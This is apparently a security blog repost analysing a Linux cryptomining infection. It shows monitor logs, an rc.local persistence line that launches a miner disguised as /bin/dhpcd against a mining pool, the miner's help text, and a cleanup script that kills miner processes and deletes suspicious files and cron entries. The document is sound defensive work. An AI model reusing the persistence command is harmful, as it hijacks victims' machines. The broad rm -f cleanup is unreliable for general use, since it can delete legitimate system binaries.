INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.625196
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.784003
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.949894
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.113563
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.273291
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.468209
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.611614
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.782594
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:55.947091
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.086717
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.267656
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.444056
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.619012
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.777156
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:56.921299
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.114877
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.267230
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.420870
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.588299
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.770619
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:57.933107
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.073582
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.258056
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.423030
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.599916
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.765426
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:58.914629
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.080883
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.242431
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.419305
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.584976
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.722322
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:59.911820
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:00.603662
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:00.747130
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:00.862070
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:00.888740
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:00.965000
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:01.152583
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:01.340117
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:01.464616
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:01.727373
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:01.882114
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:02.021524
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:02.231538
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:02.577823
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:03.012116
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:03.425070
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:03.815753
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:04.202723
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:04.674746
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:04.956017
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:05.388042
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:05.752932
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:06.136062
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:06.535232
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:06.918982
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:07.376316
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:07.713961
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:08.104982
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:08.473439
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:08.886292
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:09.239495
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:09.646030
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:10.044261
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:10.384033
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:15:10.469870
INFO:root:MODIFY event : /etc/rc.local  2019-03-20 15:15:38.510660
INFO:root:MODIFY event : /run/sshd.pid  2019-03-20 15:15:44.673229
INFO:root:MODIFY event : /run/sshd.pid  2019-03-20 15:15:44.673907

# cat /etc/rc.local
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

/bin/dhpcd -o ca.minexmr.com:4444 -t1 --safe -B >/dev/null 2>/dev/null
exit 0

root@92ae08a47348:/opt# ./dhpcd -h
Usage: xmrig [OPTIONS]
Options:
  -a, --algo=ALGO          specify the algorithm to use
                             cryptonight
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
      --rig-id=ID          rig identifier for pool-side statistics (needs pool support)
  -t, --threads=N          number of miner threads
  -v, --av=N               algorithm variation, 0 auto select
  -k, --keepalive          send keepalived packet for prevent timeout (needs pool support)
      --nicehash           enable nicehash.com support
      --tls                enable SSL/TLS support (needs pool support)
      --tls-fingerprint=F  pool TLS certificate fingerprint, if set enable strict certificate pinning
  -r, --retries=N          number of times to retry before switch to backup server (default: 5)
  -R, --retry-pause=N      time to pause between retries (default: 5)
      --cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
      --cpu-priority       set process priority (0 idle, 2 normal to 5 highest)
      --no-huge-pages      disable huge pages support
      --no-color           disable colored output
      --variant            algorithm PoW variant
      --donate-level=N     donate level, default 5% (5 minutes in 100 minutes)
      --user-agent         set custom user-agent string for pool
  -B, --background         run the miner in the background
  -c, --config=FILE        load a JSON-format configuration file
  -l, --log-file=FILE      log all output to a file
  -S, --syslog             use system log for output messages
      --max-cpu-usage=N    maximum CPU usage for automatic threads mode (default 75)
      --safe               safe adjust threads and av settings for current CPU
      --asm=ASM            ASM code for cn/2, possible values: auto, none, intel, ryzen, bulldozer.
      --print-time=N       print hashrate report every N seconds
      --api-port=N         port for the miner API
      --api-access-token=T access token for API
      --api-worker-id=ID   custom worker-id for API
      --api-id=ID          custom instance ID for API
      --api-ipv6           enable IPv6 support for API
      --api-no-restricted  enable full remote access (only if API token set)
      --dry-run            test configuration and exit
  -h, --help               display this help and exit
  -V, --version            output version information and exit

2019-03-22

#!/bin/bash

export LC_ALL=C
oldPATH="$PATH"
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

post_run_file=`mktemp`
test "$post_run_file" || post_run_file=/tmp/tmp.post_run_file.$$

sed -i '/\/etc\/cron\.hourly\/\(gcc\|cron\)\.sh/d' /etc/crontab
rm -f /etc/cron.hourly/gcc.sh /etc/cron.hourly/gcc4.sh /lib/libudev.so /root/pty /tmp/bash /dev/shm/bash /var/tmp/bash /var/lock/bash /var/run/bash /bin/httpsd /lib/udev/udev /lib/udev/debug /root/sysem /root/systma /etc/jourxlv /tmp/sysem /tmp/su /tmp/ddgs.*
rm -rf /tmp/.xm /root/.system /tmp/.iokb21 /var/tmp/... /tmp/.tmp /usr/cpu/bin '/var/tmp/ ' /tmp/.X12-unix /var/tmp/."     " /tmp/.mountfs /tmp/seconfig /root/.ttp
chattr -i /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ceurnad
chattr -i -a /usr/local/sbin/t /usr/local/sbin/rsync
rm -f /usr/local/sbin/t /usr/local/sbin/rsync /etc/ceurnad

pkill -9 -f 'python /bin/httpsd' # order of args matters on some systems
pkill -9 xm32
pkill -9 xm64
pkill -9 ceurnad
pkill -9 .xmrig
pkill -9 -f /tmp/.xs/daemon.i686.mod
pkill -9 -f ./systma
pkill -9 -f /root/.local/syslogd
pkill -9 -f /tmp/samba
pkill -9 xorgg
pkill -9 sc64u
pkill -9 -f /tmp/su

if cd /etc/cron.hourly ; then
    for f in *;do
        grep -e 'cp "/bin/'${f%.sh}'" "/bin/' -e 'cp "/usr/bin/'${f%.sh}'" "/usr/bin/' "$f" && rm -f "$f"
    done
fi
crontab -l | grep -v 'wget .*sh' | grep -v 'curl .*sh' | grep -v '/pty .*/dev/null' | crontab -

if which file ; then
    #find ${PATH//:/ } | while read f; do file "$f";done | grep \
    find ${oldPATH//:/ } | xargs file | grep \
        'statically linked' | cut -d: -f1 | grep -v -e '/mbchk$' \
        -e 'dump' -e 'kube' -e ngrok -e iscsistart -e '_ctl$' -e fsck -e '/minidlnad$' \
        -e docker -e xenstore -e wine -e nsenter -e importenv -e aide -e shadowsocks \
        -e mount -e 'bin/bcm\.user' -e partclone -e drbl-chntpw -e '/crictl$' \
        -e '/helm$' -e etcdctl -e '/e3$' -e raid -e agent -e 'print' -e '/isamchk$' \
        -e '/mysql' -e '/mdadm$' -e '/jq$' -e '/usr/sbin/redhat_lsb_trigger\.' \
        -e '/pfmon' -e '/pfdbg' -e '/packer$' -e '/dns-rebind$' -e '/sz$' -e '/retpan$' \
        -e '/gshelld$' -e 'helper$' -e '\.backup$' -e '/ffmpeg$' -e '/rar$' \
        -e '/unhide' -e '/rebind$' -e '/v2ctl$' -e '/unace$' -e '/resume$' \
        -e '/tw_cli$' -e '/MegaCli$' -e '/lsiutil$' -e '/start$' -e '/fbi$' \
        -e 'cobol$' -e '/pack_isam$' -e '/myisa' -e '/isamlog$' -e '/perror$' \
        -e 'track' -e 'monitor' -e geckodriver -e '/koolshare' -e '/wipefs$' \
        -e wrapper -e replace -e resolveip -e server -e '/ethos-id$' \
        -e '/gofmt$' \
        -e '/v2ray$' -e '/gitlab-runner$' -e '/hdsfusemnt$' -e '/qtvagent$' \
        -e '/xvbeat$' \
        -e '/grub$' -e '\.static$' -e '\.old$' | grep -v -F \
        -e '/usr/bin/valgrind' \
        -e '/usr/sbin/tzdata-update' \
        -e '/sbin/busybox' \
        -e '/sbin/cryptsetup' \
        -e '/sbin/dump' \
        -e '/sbin/e2fsck' \
        -e '/sbin/fsck.ext2' \
        -e '/sbin/fsck.ext3' \
        -e '/sbin/ldconfig' \
        -e '/sbin/mpath_ctl' \
        -e '/sbin/nash' \
        -e '/sbin/restore' \
        -e '/sbin/rmt' \
        -e '/sbin/sln' \
        -e '/bin/sln' \
        -e '/usr/sbin/build-locale-archive' \
        -e '/usr/sbin/glibc_post_upgrade.i686' \
        -e '/usr/sbin/glibc_post_upgrade.x86_64' \
        -e '/usr/sbin/libgcc_post_upgrade' \
        -e '/usr/sbin/prelink' \
        -e '/usr/sbin/plesk' \
        -e '/usr/bin/wine64-preloader' \
        -e '/usr/bin/wine-preloader' \
        -e '/bin/busybox' \
        -e '/bin/dhpcd' \
        -e '/mpath_prio_' \
        -e '/usr/sbin/sas2ircu' \
        -e '/usr/bin/rar' \
        -e '/usr/bin/rlpdump' \
        -e '/usr/bin/oracle' \
        -e '/sbin/init' \
        -e /usr/bin/netserve  \
        -e /sbin/auibusy \
        -e '/sbin/auplink' \
        -e /sbin/aumvdown \
        -e '/usr/local/bin/sas2ircu' \
        -e '/usr/local/bin/sas3ircu' \
        -e '/usr/sbin/glibc_post_upgrade' \
        -e '/sbin/discover' \
        -e '/usr/bin/jad' | while read ff;do
    chattr -i "$ff"
#    rm -vi "$ff"</dev/tty
    rm -f "$ff"
    if echo "$ff" | grep '/ps$' ; then
        echo 'yum -y install procps || yum -y reinstall procps || apt-get install --reinstall procps' >>$post_run_file
    fi
    if echo "$ff" | grep '/ss$' ; then
        echo 'yum -y install iproute || yum -y reinstall iproute || apt-get install --reinstall iproute' >>$post_run_file
    fi
    if echo "$ff" | grep '/lsof$' ; then
        echo 'yum -y install lsof || yum -y reinstall lsof || apt-get install --reinstall lsof' >>$post_run_file
    fi
    if echo "$ff" | grep '/netstat$' ; then
        echo 'yum -y install net-tools || yum -y reinstall net-tools || apt-get install --reinstall net-tools' >>$post_run_file
    fi
done
fi

echo More checks:
ls -l /proc/*/exe 2>/dev/null | grep -e /tmp -e /dev -e /var -e '\./' -e /usb_bus

if which file ; then
    for l in /proc/*/exe;do file "`readlink -f $l`" | grep -e 'statically linked' -e 'too many section header sections' && echo $l;done
fi


echo 'top -bn1 | head -n 20:'
top -bn1 | head -n 20

echo atq:
atq

echo 'crontab -l:'
crontab -l

echo /etc/crontab:
cat /etc/crontab

echo /etc/cron.hourly:
ls -la /etc/cron.hourly

echo /etc/cron.d:
ls -la /etc/cron.d

set -x
. $post_run_file
rm $post_run_file

来源：freebuf.com 2019-03-23 18:36:50 by: 陌度

文章版权归作者所有，未经允许请勿转载。

THE END